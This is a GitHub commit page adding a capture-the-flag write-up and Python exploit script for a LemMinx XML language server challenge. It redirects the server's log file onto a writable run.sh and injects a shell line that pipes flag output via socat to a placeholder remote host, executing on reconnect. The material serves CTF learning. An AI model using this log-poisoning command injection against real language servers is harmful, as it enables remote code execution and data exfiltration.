forked from perfectblue/ctf-writeups
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
braindead
committed
Dec 9, 2022
1 parent
76e36fd
commit 932dbb0
Showing
2 changed files
with
128 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
LemMinx is started for each connection from `/home/ctf/.../run.sh`, which is writable. | ||
|
||
We do an `initialize` call to make LemMinx start writing it's logs to `run.sh`: | ||
|
||
```python | ||
call('initialize', { | ||
'rootUri': 'file:///tmp', | ||
'initializationOptions': { | ||
'settings': { | ||
'xml': { | ||
"logs": { | ||
"client": True, | ||
"file": "/proc/self/cwd/run.sh" | ||
}, | ||
}, | ||
}, | ||
}, | ||
'capabilities': { # probably not needed, leftover from past experimentation | ||
'executeCommand': { | ||
'dynamicRegistration': True, | ||
}, | ||
}, | ||
}) | ||
``` | ||
|
||
Then call a non-existent JSON-RPC endpoint to pollute `run.sh` with our code: | ||
|
||
```python | ||
call('aaaa\n/printflag | socat - tcp:your.super.secret.public.ip.box.com:1337\n\nbbbb',{}) | ||
``` | ||
|
||
There are several ways to get a newline and an arbitrary string into `run.sh`, but the above | ||
also avoids printing any `(` characters, which would trip up the shell. | ||
|
||
Then we disconnect and connect again to execute `/printflag`. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,93 @@ | ||
import json | ||
import pygments | ||
import pygments.lexers | ||
import pygments.formatters | ||
import time | ||
|
||
from braindead import * | ||
log.enable() | ||
args = Args() | ||
args.parse() | ||
|
||
if 0: | ||
r = io.process([ | ||
'strace', | ||
'-e', '%file', | ||
'-f', | ||
#'java', | ||
#'-jar', './lemminx/org.eclipse.lemminx/target/org.eclipse.lemminx-uber.jar', | ||
'./lemminx-linux', | ||
], stderr='pass') | ||
else: | ||
#r = io.connect(('172.17.0.2', 7777)) | ||
r = io.connect(('35.185.130.194', 40001)) | ||
|
||
rpc_id_ctr = 0 | ||
def send_call(method, params): | ||
global rpc_id_ctr | ||
rpc_id_ctr += 1 | ||
content = json.dumps({ | ||
"jsonrpc": "2.0", | ||
"id": rpc_id_ctr, | ||
"method": method, | ||
"params": params, | ||
}) | ||
r.send(f'Content-Length: {len(content)}\r\n\r\n' + content) | ||
return rpc_id_ctr | ||
|
||
def reap(): | ||
clen = int(r.rla('Content-Length: ')) | ||
r.rl() | ||
j = json.loads(r.recvn(clen).decode()) | ||
pretty = json.dumps(j, indent=True) | ||
print(pygments.highlight(pretty, lexer=pygments.lexers.JsonLexer(), formatter=pygments.formatters.Terminal256Formatter())) | ||
return j | ||
|
||
def call(method, params): | ||
send_call(method, params) | ||
resp = reap() | ||
return resp | ||
|
||
call('initialize', { | ||
'rootUri': 'file:///tmp', | ||
'initializationOptions': { | ||
'settings': { | ||
'xml': { | ||
"logs": { | ||
"client": True, | ||
"file": "/proc/self/cwd/run.sh" | ||
}, | ||
}, | ||
}, | ||
}, | ||
'capabilities': { | ||
'executeCommand': { | ||
'dynamicRegistration': True, | ||
}, | ||
}, | ||
}) | ||
#send_call('initialized', {}) | ||
|
||
call('aaaa\n/printflag | socat - tcp:your.super.secret.public.ip.box.com:1337\n\nbbbb',{}) | ||
|
||
time.sleep(1) | ||
|
||
call('workspace/didChangeConfiguration', { | ||
'settings': { | ||
'xml': { | ||
"logs": { | ||
"client": True, | ||
"file": "/tmp/whatever.log" | ||
}, | ||
}, | ||
}, | ||
}) | ||
|
||
time.sleep(1) | ||
|
||
call('exit', {}) | ||
|
||
while True: | ||
reap() | ||
|
||
io.interactive(r) |